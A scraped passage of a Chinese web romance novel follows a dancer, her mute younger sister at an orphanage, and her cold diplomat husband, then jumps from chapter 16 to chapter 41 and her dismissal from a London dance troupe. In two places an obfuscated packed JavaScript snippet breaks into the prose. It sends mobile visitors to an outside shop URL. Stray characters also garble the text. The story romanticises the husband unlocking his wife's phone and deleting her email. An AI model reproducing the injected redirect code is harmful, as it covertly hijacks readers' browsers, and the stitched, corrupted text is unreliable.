孟汀:“这话应该由我来说吧?你怎么敢这样肆无忌惮的无事规章,谢砚京他一直守护的安全,在你眼里,就那么微不足道?” 说着,她终于放下俞静之的手腕,往前一步,翻看她胸前挂着的工作牌。 “你干什么?”俞静之一边怒道,一边往后退。 孟汀:“当然是记下你的工号,方便举报。” …… 两人之间,再次以俞静之狼狈逃跑收场。 作为实习生,她的工牌上根本没有外事部的工号,说是工作牌,实际上就是个饭卡而已,至于工作内容,根本接触不到核心,就算孟汀真的举报,也无人在意。 只是无人在意这一点,就足够让她颜面扫尽了。 孟汀没空和她继续纠缠,更没有反败为胜的洋洋得意,只是一瞬间,觉得有些疲惫。 * 中央商场一楼。 孟汀在精品店里逛了会儿,转身去了隔壁的烘焙店。 这几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620696|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不知道怎么了,一直很疲惫,今天晨起时竟然还有些反胃,甚至还冲去卫生间干呕了好一会。 她身体时不时会出现小毛病,所以也就没放在心上,毕竟今天还有更重要的事情。 很快,店员将一个丝带扎好的精致礼盒递给她。 回程的计程车上,孟汀将东西放在身边,腾出一只手给徐倩回消息。 徐倩:【今天也是风平浪静的一天】 其实从舞院回来的当晚,徐倩就发消息告诉她,造谣她傍大款的帖子被删除了。按理来说,删帖也是一大热门话题,有的时候不仅不能平息消息,反而会适得其反,造成新一轮的热度。 徐倩因此化身小保安,每天兢兢业业地在论坛巡逻,但让她没想到的是,这个事情竟然完全没了后续。 这倒让孟汀挺意外的,舆论易散不易收,她以为以俞静之的能力,多少会留点尾巴,没想到她会处理的这么干净。 也或许,她是真的很在乎外事部的这份工作吧。 …… 两个小时后,车子在一栋上了年纪的小院前停下。 孟汀拿出手机,给司机师傅扫了笔巨款。 师傅感谢完走了,孟汀则拎着手上的礼盒,按了下的门铃。 今年的秋天似乎格外的冷,也就十月下旬的功夫,气温就已经低至个位数,日光隐匿在云层后,只露出薄薄的一层。 枯败的树叶在枝头摇曳,终于抵不住这寒风,扑簌簌的落下来。 院子里空荡荡的,平日里需要争着抢着的滑滑梯,跷跷板,还有蹦床,备受冷落。 就连负责大门的魏叔,出来的速度也比平日慢了些。 看到孟汀后,大叔立刻热情道:“是汀汀啊,快进来。” 看到她手上拎着的蛋糕,又笑呵呵道:“来给小云过生日?今早我们还在商量着买蛋糕的事情呢,结果小云说不用,原来是早就知道你要来。” 孟汀:“昨天我给她发了消息。” 大叔接过她手上沉甸甸的东西,“今天大家计划吃烧烤,现在孩子们都在厨房里面帮忙串肉串,看到你过去,一定很开心。” 其实孟汀也是在孟云溪进来之后才对现在的福利院有了改观。 孩子们有自己的房间,有干净明亮的食堂,有可以用来自习的图书馆,院里的阿姨和叔叔,还会定期给大家改善伙食或去游学,早已不是人们心中刻板形象一样的苦难存在。 属于是父母给不了的爱,国家都给足了。 果然,她到的时候,厨房里很热闹。 大家分工很明确,有洗菜的,择菜的,切菜的,还有穿肉串和摆放桌椅板凳和碗筷的。 门口的小姑娘看到拎着不少东西的孟汀和魏叔,立刻熟练的当起了耳报神:“孟云溪——孟云溪——” “你姐姐来了!” 听到这一声,不远处正在收拾碗筷的小姑娘抬了下头,还没反应过来,就被身旁一群小孩簇拥着过来。 她比孟汀矮了多半头,白白瘦瘦的,脸型很精致,看到孟汀后,露出一个略显腼腆的笑,然后打手语,唤她:“姐姐。” 16. 第 16 章 听到孟云溪这样叫,其他小孩也叽叽喳喳地叫起了姐姐。大家都很喜欢孟汀过来,一则她温柔,漂亮,但是和她说话就如沐春风,二则她会带很多漂亮的文具和书籍过来,她来一次,大家都会收获满满。 今天也一样。 孟汀知道孩子们想法迫切,所以立刻和魏叔将手上的东西分了,场面一时更加热闹了,笑闹声让阿姨也开心,但也不得不过来维持秩序:“都给我慢点,不远处翠山的猴子都比你们有纪律!” 孟云溪当然不属于类比猴子的范畴,她和孟汀性格很像,都是不争不抢型的,尽管今天是她的生日,也没有显出任何急迫。孟汀就是知道她这样,所以赶忙招呼她:“小云,过来看看你的礼物。” 她送给孟云溪的是一套很有冬日氛围的拼图。 20×20的大小,画面被很自然地分成了好几块,有坠着星星灯的圣诞树,盖着雪花的双层巴士,还有挂着花环的明亮橱窗,三三两两结伴的小人,非常漂亮。 “等你拼完了,用这个相框框起来,上面在加一个小灯,挂在房间里。”孟汀说着,给她展示卖家发给她的效果图。 暗色背景下,一盏小橘灯落下来,温暖又明亮。 孟云溪看的眼睛发光,喜欢的不行。她因为一场意外声带受损,虽然住在热闹的福利院,但那是因为大部分孩子不会手语,无法沟通。 玩拼图的话,无论是自己一个人,还是和朋友,都可以安安静静的进行。 验收完所有人的工作之后,阿姨将大家召集在一起,准备切蛋糕。 孟云溪在盒子里拿出数字为“1”和“6”的蜡烛插上,点燃后,闭着眼睛许了好一会的愿。 这是她来京市的第三年,也是在福利院的第三年。 三年前,母亲去世后,她便被孟汀接了过来,虽然是亲姐妹,但彼时孟汀还是个大学生,没有抚养能力,多方考虑之下,便将她送进了京郊的福利院。 唱完了生日歌,大家就开始分蛋糕,各个小桌上的烤盘也冒出了滋啦滋啦的香味,孟汀这种平日里不碰烧烤的人,今天也难得吃了两串。 吃完后,她又和大家分工做起了卫生,收拾完,回到孟云溪的房间,已经将近傍晚。 孟汀像往常一样检查她的生活状况,她看到她书桌上摊开的那本手语书,眉心有几分触动。 这本新教材不过是她三个月前买回来的,现在已经被翻的边角翘起,她白天还要去普通高中学习文化知识,可见全都是夜里下功夫。 看到孟汀愣神,孟云溪赶紧过来,拽了拽她的衣袖。 孟汀转身,只见她比划着:“姐姐,你累了吗?” 因为孟云溪,孟汀也学了些手语,能看懂简单的日常用语。 她轻轻摇了摇头,将她的书角抚平,笑道:“没有,你好好学习,我上次问过大夫了,手术的事情有进展了,你再坚持一段时间,就能恢复成以前的样子了、” 孟云溪的表情却没有更轻松。 她隐约知道,孟汀一直很有压力。她的情况特殊,不是永久的创伤性失声,可以通过手术治愈,只是国内暂时没有这个技术,国外的尚且在临床试验阶段,因为某些原因,立法没有通过。 等待通过需要时间,排队更需要时间,而且根据国外的情况,她们这样的普通家庭,很难得到这样的资源。 她知道姐姐为此付出了多少,哪怕那些事情,她根本不情愿做。 “姐姐,手术做不做的都不重要。”她对上孟汀的眼睛,认真地比划,“我不说话也可以活的很好。” “但是姐姐你,不要这么辛苦。” “我希望姐姐开心。” 孟汀没想到她会这样说,垂下眸子,摸了摸她的头,“说什么傻话呢?等到时机成熟了,咱们抓住机会就可以了,日子就是要越过越好呀。” 孟云溪的表情依然没有松动,下意识地往窗外看了看。 她虽然没说话,但孟汀却懂了。 三年内,谢砚京陪着她来过一次,也是那时,孟汀告诉了她两人已婚的消息。 小孩子有自己认识的世界,她对那个传说中的“姐夫”印象并不好。很少露面,也没有和姐姐同过框,更没有她想象中和姐姐在一起的温情模样。 和她认知中的幸福婚姻完全不同。 不是因为感情在一起,更像是某种各取所需的利益关系。 她们缺什么,她则一清二楚。 孟云溪像是憋了好半天,才忧心忡忡道:“姐姐,他没有强迫你吧?” 她显得情绪有些激动。 举起手又准备说什么,却被一个力道轻轻按了下,“别多想。” 小女孩的心思,若是不解释些什么,往往天马行空没个度。 可真要解释,又不知道从哪里说起,孟汀只好笑了笑:“我们两个之间不是你想象的那样,和他领证,也是我深思熟虑过的想法,没有什么强迫不强迫的。” 孟云溪皱着眉看她,很明显还想说什么。 孟汀却止住了她的话头:“你放心,这个事情我有分寸的,无论如何,也要等到手术完了再说。” 这不是普通手术,要满足的指征很多。孟云溪为此不知道跑了多少趟医院,做了多少次检查,别人开开心心的和朋友逛街时,她只能坐在冰冷的等候室里,等待命运一次又一次的审判和裁决。 “好啦,今天是你的生日,咱们高高兴兴的,别想那么多,让我给看看这个画框你好不好搭……” 两人在那儿研究了好半天拼图,等到天快黑了,孟汀才从福利院出来。 为了更好的陪孟云溪,这段时间她手机一直静音。 打车时,才发现竟然已经有了好几条未读消息。 她先打开消息最多的工作群。 原来是团里组织大家这周末去体检,需要填写在线表格,大家依次在下面回复“收到”。 大概是徐倩看到她没回复,所以又小窗提醒了她一下。 她赶紧按照要求填写。 不知道是不是因为被“体检”这两个字刺激到,她的胃忽然又有些不舒服。 而她最后打开的,则是最上面那一条。 显示谢砚京的未接来电。 孟汀皱着眉看了看,不知道他现在在做什么,最终没有回拨过去。 夜里风更大了,打车到家时,已经将近十点。 她从药箱里找了些胃药,吃了两粒就上床。 明明是没什么催眠效果的药,她整个人却有些晕晕的,将整个头完全埋进枕头里,也没有任何效果。 后来,整个身子又开始发冷,但是她又没力气起来加一床被子,所以整个人都蜷缩在被子一角,像只小猫。 她就那样神志不清地睡了会,一会梦到自己在冰川上行走,一会梦到自己在大雨中不知所措,一会又梦到自己又站在了巡演舞台上。明明已经瑟瑟发抖了,但她还是完全处于紧绷的状态,努力做好每一个动作,不敢有稍许的偏差。好不容易到了下场的时间,没有等来掌声,却是嘘声一片。 俞静之站在最前面,对着她冷声道:“你不过是个常年需要抛头露面的戏子而已,也配在阿砚身边吗?早点认清现实吧?否则总有一天,你会将他也拉进深渊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624224|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她则站在那儿,茫然无措的打量着。 她想要逃走。 可是逃去哪里?她不知道。这么大的天地之间,好像没有能容下她的地方。 她没有家。 她觉得好冷,好冷。 每呼吸一次都会痛。 就在她觉得快要痛到骨髓,深入肺腑时,周遭却突然开始回暖。 冷冰冰的雨水如温泉般萦绕在身侧,原本虚浮的脚步终于落地,像是有人点了堆柴火,在她身边噼里啪啦地燃烧着。 但是热气足了也不是个好事,一瞬间的口干舌燥,让她原本混沌的意识有了几分清醒。 睁眼时,她感受到身边的异常。 光裸的小腿宛若菟丝花,缠绕在紧实的大腿上,前半身则贴在那人滚烫的胸膛上,双手绕过腰线搂住,距离不能再紧密。 孟汀还以为自己出现了幻觉,直到夜色中,那个清绝的面容清晰起来,她才意识到这不是梦境。 昏暗光线中,立挺的眉骨有种白日里没有的冷硬,漆黑的碎发垂在眼睫上了,投下一片淡淡阴影,分明的五官像是刀刻似的,干净利落。 似乎感受到了身边的声音,他缓缓睁开了眼。 孟汀刚想张口说些什么,却发现自己嗓子竟然有些哑了。 很快,嘴里被喂了几口热水。 嗓子一瞬间润了不少,但是发声依然费劲:“你怎么会过来……” 他赤.裸着上身,手上的动作却一刻不停,似乎是将什么冲剂倒进了杯子里。 “电话也不接,短信也不回,怎么,发烧39°,想一个人牺牲在这里?”谢砚京冷声道。 哦……原来是发烧。 难怪刚刚会那么冷。 正思索间,鼻尖被一个力量捏了捏,接着,白瓷碗被强硬地送到唇边,几乎不等她反应就被灌了下去。 她吃药一直不是个容易的事,平时状态好时就磨磨蹭蹭要好久,他这么一灌倒是省事。 这还没完,等到她全部咽下去后,唇角又被一个冰凉的触感贴了下。 这次没有难闻的气味,嗅着像是解苦的甜茶,她便乖乖喝了下去。 舔了舔唇后,她稍稍坐起来一点,哑着声开口:“现在几点?” “凌晨三点。” “你是几点过来的?” 这次那声音却没有立刻回。 倒是有个力量扯过杯子,将她完整地包裹住,直接拉到下巴的位置。 “查户口呢?问那么细。”冷硬的声音略显不耐。 她其实想知道他抱着她睡了多久。 其实刚刚那么一觉过后,浑身发冷的状态已经好多了,应该是从高烧转成了低烧,她是没想到用这种方式也能降温,还能这么快地降温。 但是低烧的危害其实也大。 比如说,她趁着那人再次躺回来时,意识模糊地道了句:“要是手术也能这么快就好了……” 这一声倒是有回应。 “快了就怎样?” “快了,应该就自由了……”很轻的一声,要是不仔细听,甚至都听不清。 说完这句,孟汀就晕晕乎乎地有气无力地躺下去了。 那只骨节分明的,原本准备捏住她脸颊的手忽然顿住。方才还好整以暇微微牵起的唇角,霎时冷了下去,连带着眼眸也变得暗沉。 黑暗中静默半分后,他捞起孟汀放在身侧的手机。 然后解开密码锁,登入她的邮箱,打开两个小时前她收到的那封来自穆教授的邮件。 修长的指尖在屏幕上停顿了片刻,然后点了删除。 40-50 第41章 回想起当时那一幕,李叔依然有种不寒而栗的感觉。 但静之小姐确实做的过了。 没有人能诋毁孟汀,这是谢砚京恪守的人生底线。 * 寒风中,男人长身玉立地站着,逐渐黯淡下来的天光给他眉眼染上几分阴翳,眉心处明显笼着压抑已久的躁意和冷狠劲。 李叔看着他,忍不住道:“您当初要是不让孟汀小姐走就好了……” 听到这,男人面无表情地转身离去。 李叔立刻跟上他的脚步,脸上还是那副忍不住的“早知今日何必当初”和“你怎么就这么不开窍”地惋惜感。 漆黑的长睫缓缓落下,离开花园的时候,他唇角才勾起一个嘲讽的弧度。 根本不是他放不放她走的问题。 是她,不要他了啊。 …… 再次回到温暖的宴会厅,闻煜已经从外面回来了。 他接的是一通来自国内的电话。 他在国内读本科,出国留学走的是导师的基金,临近年底,财务那边审查处查出了好几处问题,需要提交陈述上去,国内课题组的师弟刚刚入组,对各种工作不熟悉,闻煜只能在电话里面指导着他x一项一项地改。 这决定着他今后几年的科研生活,不得不重视起来,处理完这些,再回来时,脸上肉眼可见变得疲惫。 乐队依然在演奏着,但节奏已经渐渐慢下来,接近尾声。 孟汀不知为何也觉得有些累,跳舞的计划就此搁置,两人便坐在旁边的小台桌旁喝了点饮料和葡萄酒。 孟汀端着杯子发了会儿呆,锁骨处他触碰瞬间的温度还在,连带着她的思绪也还停留在刚刚那一瞬。 他这个人,严肃克己惯了,若说带着她跳舞,绝不会被任何事情打断。在他的世界中,抛下女伴去处理公务,是不可能的事情。发表刚刚的那一番话,其实也无可厚非。 这一年时间,她很其实少关注谢砚京的情况。 可就算不关注,她也知道他的人生不会有什么越轨。 无论是家世还是才学,他都是站在金字塔顶端的那位。 权力、财富、名誉、声望,只要是他想要的,都会牢牢握在手里。 这没有什么不好的,下属需要一个这样的上司,民众也需要一个这样的负责人,或许也是因为他得到的足够多,所以一私一利不在他的考量范围内,更多的为别人考量。 酒杯中光影浮动,那张清隽的面容也逐渐浮现。 他的语气明明是寡淡的,冷清的,但又和从前不一样。 却有种她从前从未见到过的……逆来顺受。 孟汀姑且将这当做她的错觉。 她是决定要离开的人,他改变不改变的,和她关系不大。 这次碰面也不过是个意外罢了。 * 婚礼结束后,她的生活再次步入正轨。 剧院的排练很紧张,因为年底,外面有好几场商演,国内的演员又不多,强度直接拉满。 周三倒是发生了个小插曲,她竟然收到一个奢牌寄来的包裹。 孟汀一开始以为是诈骗。 这一年,她基本没在奢侈品上消费过,倒是进过几家店,但也只是陪着赵一茜她们做参考。 可是不消费,对方怎么知道她的联系方式? 孟汀很惶恐,在快递公司那边查了好久,最终确定东西确实是从奢品店寄出。 孟汀只好先收下包裹。 打开一看,只见白色的礼盒中,躺着一条非常精致地晚礼服裙。 纯手工缝制的蕾丝镶嵌,优雅的鱼尾镶嵌着货真价实的碎钻,足够亮眼却不招摇,简单,优雅,高级,市面上绝对找不到第二条。 最重要的是,和她的身材完美契合。 她又询问客服,客服给的解释是:年底积分兑换,至于具体细节,她也无可奉告。 孟汀也只得先收在柜子里。 圣诞加公历新年,学校放了一段长假。 但孟汀也不能休息,放假期间正好是剧团演员最辛苦的时期,每天早起贪黑地跟着剧团跑东跑西。 她的饭搭子叫于天晴,她是跟着家人移民过来的华裔,从小一直学的是芭蕾,但是到了国外,这张东方面孔多少受点歧视,能跳芭蕾的机会不多,一直在各个剧场当伴舞。 孟汀其实也是伴舞。 在国内首席当久了,她觉得自己还是有些脱离实际的,就像久坐高位的人不懂得庶民之苦,每天只沉迷于精进所谓的“艺术”,长久以来算不得好事,不如增加些新的体验,更容易有突破。 最近她参演的这场舞剧,是一个外国导演拍摄的《咏春》,外国人拍传统文化题材,确实差点火候,但在某种程度上,也让她感受到了思想的碰撞。 这次的彩排地点在一个英国的小镇,彩排结束后,于天晴带着从场务工作人员领到的披萨和沙拉过来。 这种难得的休息时间,于天晴从来都是兴致冲冲的,今天的脸色却有些难看。 “孟孟,大事不好了,我们可能很快就没工作了。” 孟汀接过她手上的披萨,以为自己听错了,瞪着眼睛诧异道:“什么?” 于天晴:“刚刚路过导演组的时候,我听到里面的人正在吵架,大导演因为预算问题,准备砍掉陈海山带着我们去赌场宣誓的那一段戏。” 孟汀怔了下,“这段戏,不是一直被当做后半场的亮点和高光吗?” 因为意外流落海外的陈氏弟子陈海山,因为看不惯当地居民被压迫,被欺凌,只身创办了以咏春为基础的“山海堂”。 他们明明坚守本身,固守义理,却不被世人理解,所有人都以为他们和那些地痞流氓的团体没有差别。 因此,他的一生,除了匡扶正义,还一直肩负着为“咏春”正名的责任。 他在赌场行义的那段,正是给他们正名最高光的一幕。 那一幕有很多的近景和特写镜头,所以只能由华人演员出演。 那一场,“山海堂”的所有弟子们高声道出他们一直坚持的理念和道义。 “勤练习技不离身,养正气戒滥纷争,当处事态度温文,扶弱小以武辅仁。” 他们践行的从来不是“武”而是“武”下面明晃晃的刻着的那个“仁”。 是气吞山河的正气,是无畏于心的凛然,是哪怕付出生命也要诠释价值的魄力。 删掉这一段,无异于删掉了咏春拳的灵魂。和国外那些打打闹闹,只为了博人眼球的商业演出没什么差别。 于天晴愤愤道:“是啊!我真的要被气死了,从前总是说什么资本邪恶,资本打压,没想到有朝一日也被我碰上了。” 孟汀想了一下,又问:“就算导演要强行拍板,工会那边没有动静吗?” 于天晴继续道:“别提了,就是因为这个,郭导才一直抑郁。” 郭导是负责他们的华人分组导演,为这场高光戏付出了很多。 于天晴苦着脸解释:“当时来谈商务的外国经纪人留了个心眼,在合同里加了一条,具体条款我说不上来,大意就是,我们这部分演员,不受当地工会的保护。” 孟汀捏着手里有些发冷的披萨,心中泛起一阵酸涩。 于天晴还在发泄:“早知道在外面要受这种洋罪,当初就不该出来,上面就不能降下来个好人,狠狠治治这帮无法无天的资本吗?” 孟汀的心像是被什么触动了一下。 但这个念头很快一闪而过,但又很快飘散。 她垂了垂眉,淡声道:“再等等看吧,郭导有经验,说不定有办法。” 于天晴无奈地叹了口气。 郭导的希望也很渺茫。 他在圈子多年,要创意有创意,要才能有才能,但是因为亚裔的身份一直备受压制,手上能拿到的资源很有限,能走到现在这一步其实已经很不容易。 他不是不能下定决定,但是这样一来,不知道要得罪多少人。 大概也是这个原因,当天收工时,郭导没像平常那样给大家道一句“辛苦了”,看上去情绪很低落。 消息很快在她们组三十多个华人演员当中传开,大家怨声载道,却也无可奈何,有些人干脆自暴自弃地准备在被裁掉之前就辞职,在节假期期间赶紧找好下家,免得新年之后就业浪潮起来,竞争激烈。 孟汀心中也很复杂,抛开所谓的歧视和文化打压,这份工作的薪水还算高,要是没有了,她还要面临一部分生活压力,听医院那边的意思是,孟云溪的手术,最早三四个月后就会进行。 她以为至少还能撑上一个月,没想到只隔了一天,郭导就在群里发了消息,取消了她们下一周的所有行程。 原本正在赶小组作业的孟汀,放下手中的笔,盯着屏幕发了好一会儿呆。 接着,原本的视频素材网站被换成招聘网站。 只是匆匆浏览下来,她绝望的发现,除了几个模特公司招人之外,没有多少合适的岗位。 刚来伦敦时她其实也考虑过模特的工作,为此还咨询过舞院一个学姐,学姐的意思是,这一行的薪资确实很可观,但是水很深,若是没有一个靠谱的经纪公司做后台,不说薪资能不能正常到手,还很容易遭受一些潜规则。 从前她有的选,还可以望而却步,现在就是硬着头皮也要上了。 孟汀尝试着给几个公司发了邮件,但收到的都是节假日不处理工作的自动回复。 她揉了揉眉心,关掉电脑。 * 这个假期注定冷清。 闻煜跟着导师出差,余琳和赵一茜要回国和家人团聚,最后留在公寓和孟汀一起过节的,只剩下了西西。 不知道是不是赵一茜不在,小猫这几天格外放纵自己,屯下的猫粮没多久就见了底。 给西西买粮的任务,自然落在了孟x汀的头上。 白天时她被作业耽误了些时间,临近傍晚,才打车去了家市中心的韩国连锁便利店。 西西是赵一茜之前的一个韩国室友送给她的生日礼物,这个小祖宗在韩国长大,从小吃的都是祖国的猫粮和零食,习惯已经固定,根本改不过来,赵一茜接手之后,只能延续这个习惯。 连锁店里人不多,东西很齐全,大概在假期当中,工作人员不多,简单问候她之后,便去后面理货了。 孟汀拎了个小篮子,在里面慢慢逛着。 都是韩国的本土品牌,全部标注的是韩语。 孟汀不太懂韩语,只能根据商品上面的图案看过去,没找到猫粮,先给自己选了点泡面,泡菜,芝士,年糕之类的速食。 她平时不太吃这些,只不过最近看了部韩剧,里面的男女主经常在一起吃泡面和火锅,多少勾起点她的胃口。 宠物用品在偏后面的位置,找到之后,她给赵一茜打了个视频电话。 那边很快接通,赵一茜看着她,笑眯眯地喊了句:“汀汀!” 她今年和家人在海岛过年,背景是椰林和沙滩,她穿了件很凉快的连衣裙,两人看上去完全不是一个世界的。 “你还穿着大衣啊?那边还这么冷吗?” 孟汀点了下头:“气象预报又发布了一轮寒流预警,过几天怕是还有几场大雪。” 赵一茜忽然有些不好意思:“啊这么冷还麻烦你出来,我真是罪人了。” 孟汀笑了下:“在家待久了也很闷人,出来转一转也好。” 赵一茜想到什么,又问:“我记得你们剧团行程不是排的很紧吗,怎么突然有空了?” 孟汀轻轻叹了口气,一副不愿多说的样子:“剧团那边出了点问题,说来话长,比较抓马,等你们回来再跟你们细说。” 说着她把手机举到头顶,“西西常吃的,是不是上面那个黄色包装袋的?” 赵一茜眯着眼睛仔细看了看,“宝宝,那个是冻干,猫粮还要再往上一层。” 孟汀又把手机举高了些。 赵一茜:“对,就是最上面那款紫色的。” 孟汀点点头,踮了下脚尖却发现自己不太够得着。 再看旁边,售货员在很远的地方整理东西,不是很方便过来的样子。 赵一茜在那边也看出来了:“宝宝,要不让别人帮个忙?” “我看你后面有个华人帅哥,你要不让他——” 孟汀不想麻烦别人,又尝试了一次,踮脚囫囵回着:“什么帅哥?我差不多可以了——” 她还是高估自己了。这次她比之前更用了点力,够倒是够到东西了,但因为用力过猛,那东西摇摇晃晃的,连带着她差点都差点摔倒。 一个力度就在那时覆上她的手背。 清冷,沉稳,不可抗拒。 紧紧握住时,让那一瞬间的惊慌失措都落了地。她整个人怔住,也因此,彻底失衡,扑到了一个怀里。 修长的身形,高大挺立,身高造成的体型差能把她完完整整地揽在怀里,手臂自然而然地绕过的胸口,她听到他的心跳。 一切都太快了,也太流畅了,两人配合的天衣无缝,好像提前演练过无数次一样。 再次缓过神时,她感受到自己的手腕被一截骨节分明的长指紧紧攥着,她抬头,怔怔地看着那双无数次凝视过自己的深眸。 那个婚礼上见到的人,竟然再次出现在了她面前。 是谢砚京。 她怔了一瞬,几乎是下意识地想将手腕从他掌心里抽出来。 但他完全没动,只是垂下眸子,盯着她脚边的购物筐,眼神晦暗难辨,半晌之后,薄唇勾起一个冷淡的弧度,“泡面?” “孟汀,你倒是越过越好了。” 嘲讽的意味不言而喻。 “难怪这么瘦。” 本就纤细的手腕,一摸,是剩下骨头。 她站在灯下,小巧白皙的一张脸,漂亮的像是一朵清谷里的幽兰,灯光像是揉碎了似的,落在那双杏眼里,碎光点点,没什么情绪,却足够动人。 也不知道平时吃的是什么。 孟汀皱着眉,又挣脱了一下,“放、放开。” “我吃的什么,买的什么,和谢先生关系不大吧?” 这次他倒是没纠缠,松开了掌心。 她一手抓着手机,一手抓着猫粮,想到还和赵一茜通着电话,赶紧慌着神挂断。 他则轻描淡写地看她一眼,不知道是不是在笑。 孟汀没想到会在这里碰到他,反驳完他的话,只想赶紧离开,不然还不知道要怎么纠缠。 还没走两步,手腕再次被捏住。 她转头,没什么情绪地看着他,声音冷淡的过分,“干什么?” 眸光中,是那张完美的有些过分的脸。 他今天穿了件白衬衣,暗色西装搭在臂弯处,姿态清落,清隽矜贵,成熟的气质很突出。 “我帮了你,你就这么走?” 孟汀难以置信地抬了下眸,觉得这个人简直就是无理取闹。 从前也没见他这么小气。 “那你想要怎样?” 他垂下眼睫,淡着声,没什么情绪地说:“陪我吃顿饭。” 第42章 走出商店时,墨蓝色的天空像是颜料打翻。 天色很暗,空气中泛起一阵浅薄的潮润,像是要落雪。 节假日的大街上,树上彩灯璀璨绚烂,宛若星河。 结好账的东西,顺手便被他拎上。 冷风起肆虐,孟汀刚裹了下衣服,一辆黑车便行驶在眼前。 她抬眼望了下,发现对面是大使馆的办事处。 难怪会碰上。 她找店铺的时候怎么完全没注意到这一点,早知如此…… 她到底还是坐上了那天在旁边行驶而过的连号车。 车内开着暖风,温度舒适,后面的小桌板上,甚至贴心的准备了热水和茶果,谢砚京看到她瞥到却没有要端起来的模样,凉凉道了句:“怕有毒?” 孟汀:“……” 她抿了抿唇,没吭声,端起来小口小口地抿着。是很清甜的花茶水,没入喉咙的瞬间,很舒服,像是能将刚才的寒意全都驱散了似的。 他在那片看不见的阴影里勾了下唇。 对她说反话总是比正话好使。 一年过去,喝水还是那副乖的不行的样子,没变。 车子行驶的很平稳,她喝完了茶,甚至还吃了一小块曲奇。等到第二杯茶水快要饮尽时,车子也停下了。 车门外,是一家氛围很浓郁的中餐馆。 漂亮的花楼建筑,门上挂了好几盏火红的灯笼,丝绦穗子在风中微微摇曳,明亮的烛火在地上落下斑驳痕迹。 老板是广东人,个子不高,面相很好,团团的一张脸,很明显地写着“和气生财”四个字,操着一口非常正宗的粤语:“谢生,好耐唔见,今日咁得闲啊?” 让她没想到的是,谢砚京竟然也用粤语回了他。 粤语讲究六声九调,长期在国语环境中的人因为发音习惯不同,很难讲出粤语真正的味道。 他声音本就低沉,讲起粤语时,抑扬顿挫,韵味十足。 像是淅淅沥沥落下的雨,又像是从很远地方飘来的晚钟。 他沐浴在晚风和暮色之下,将暗未暗的天光,将他的眉眼勾勒的更加硬朗,高大的身影在疏离光线下,莫名添了几分柔和。 两人交谈的异常顺畅,毫无障碍。 孟汀听不太懂,但也知道,他的发音极地道。 这家茶楼的生意很好,虽然人来人往,但是因为设计的合理,座次分散的开,又添了许多花篮和绿植,到显出几分清幽。 两人在靠窗的一间包间里面坐下。 相隔一年,两人第一次一起吃饭。 孟汀无话可说,这对她来说不过是个需要完成的任务,她只要按时按点的完成就行了。 倒是平日里习惯了在饭桌上保持沉默的谢砚京,频繁开口:“这几天营业的中餐馆不多,老陈这家是口味最正宗的。” 刚刚听他讲多了粤语,突然切换回来,孟汀还有几分不习惯,小声问了句:“我不知道你还会粤语。” 谢砚京抬了下眸,淡着声解释:“在外驻守时,有不少老广的商人,为了沟通方便,学了几个月。” 几个月。 普通人怕是连门都入不了,他竟然地道地像个本地人。语言天赋是所有外交官必备的能力,谢砚京又是站在天赋金字塔顶端的人,嫉妒都嫉妒不来。 听到这个陈姓,又是粤菜,孟汀忍不住又想起自己在《咏春》被删减的那段戏份,眸子不经意地暗淡了些。 一杯纯正的红茶被推到她眼前。 孟汀下意识地抬眼。 暖色灯光落在雕花的x黄花梨木桌上,博山炉里腾起一阵青雾,那张平日里严肃冷清惯了的面容,隐在烟雾后,眉峰微微拧着,淡着声开口:“没睡好?” 孟汀露出几分茫然:“啊?” 谢砚京看着她,毫不客气道:“黑眼圈上长了张脸。” 孟汀:“……” 因为被剧团解雇的事情,她失眠了好几天。但今天出门前她看了眼镜子,没有自己想象中的那么明显。 就这也被看出来了吗? 她端起茶杯,欲盖弥彰地喝了一口,掌心泛出阵阵潮意。 这其实是个很好的机会。 他完美符合于天晴口中“上面的人”身份,虽然她不确定他的具体职务,但以他的能力,绝对能给她们争取一个机会。 可是如此一来,两人之间怕是又要纠缠一段时间,她不能亏欠他太多。 就在她犹豫的片刻,耳边低沉道:“有事?” 心事骤然被戳破,她被茶水呛得不轻,眼睛都泛出泪,却还是挣扎着回了句,“没,没有。” 她回答的太干脆,太及时,根本没有思考的空间,连自己都觉得尴尬。 再抬眸时,只见那双黑眸微微眯起,钻子直落落地打在她的眼底。 孟汀心虚的不行,心脏突突地跳着,生怕被他看出点什么。他就是这样,所有的博弈在他面前都称不上博弈,她握在手中的底牌,在他面前,永远都会变成明牌。 幸好这个时候,敲门声响起,服务生过来送餐,打断了他沉默的凝视。 餐食已经一次性配齐了,摆在她面前的是一屉水晶虾饺,一屉不加葱姜的蒸牛百叶,一屉椰香糯米鸡,一屉鸭脚扎,还有几样清淡的小菜。 摆在谢砚京那边的,则是一盘蒸好的螃蟹。 孟汀不愿进行刚刚的话题,干脆埋头苦吃。 她的体质不适合吃螃蟹,也就没打螃蟹的主意。但不妨碍她在浅淡的余光中,看到他在剥螃蟹。 溶溶灯火下,衬衫袖口半挽起,修长匀称的手指慢条斯理地翻动着,划过蟹壳,仔细剔出里面的蟹肉,清瘦又透着骨感,手背绷起清晰的线条,脉络分明。 他的动作很细致,但是速度却不慢,很快就剔出满满一碟子的蟹肉。 然后自然地推至她面前。 孟汀怔了怔,抬头看他。 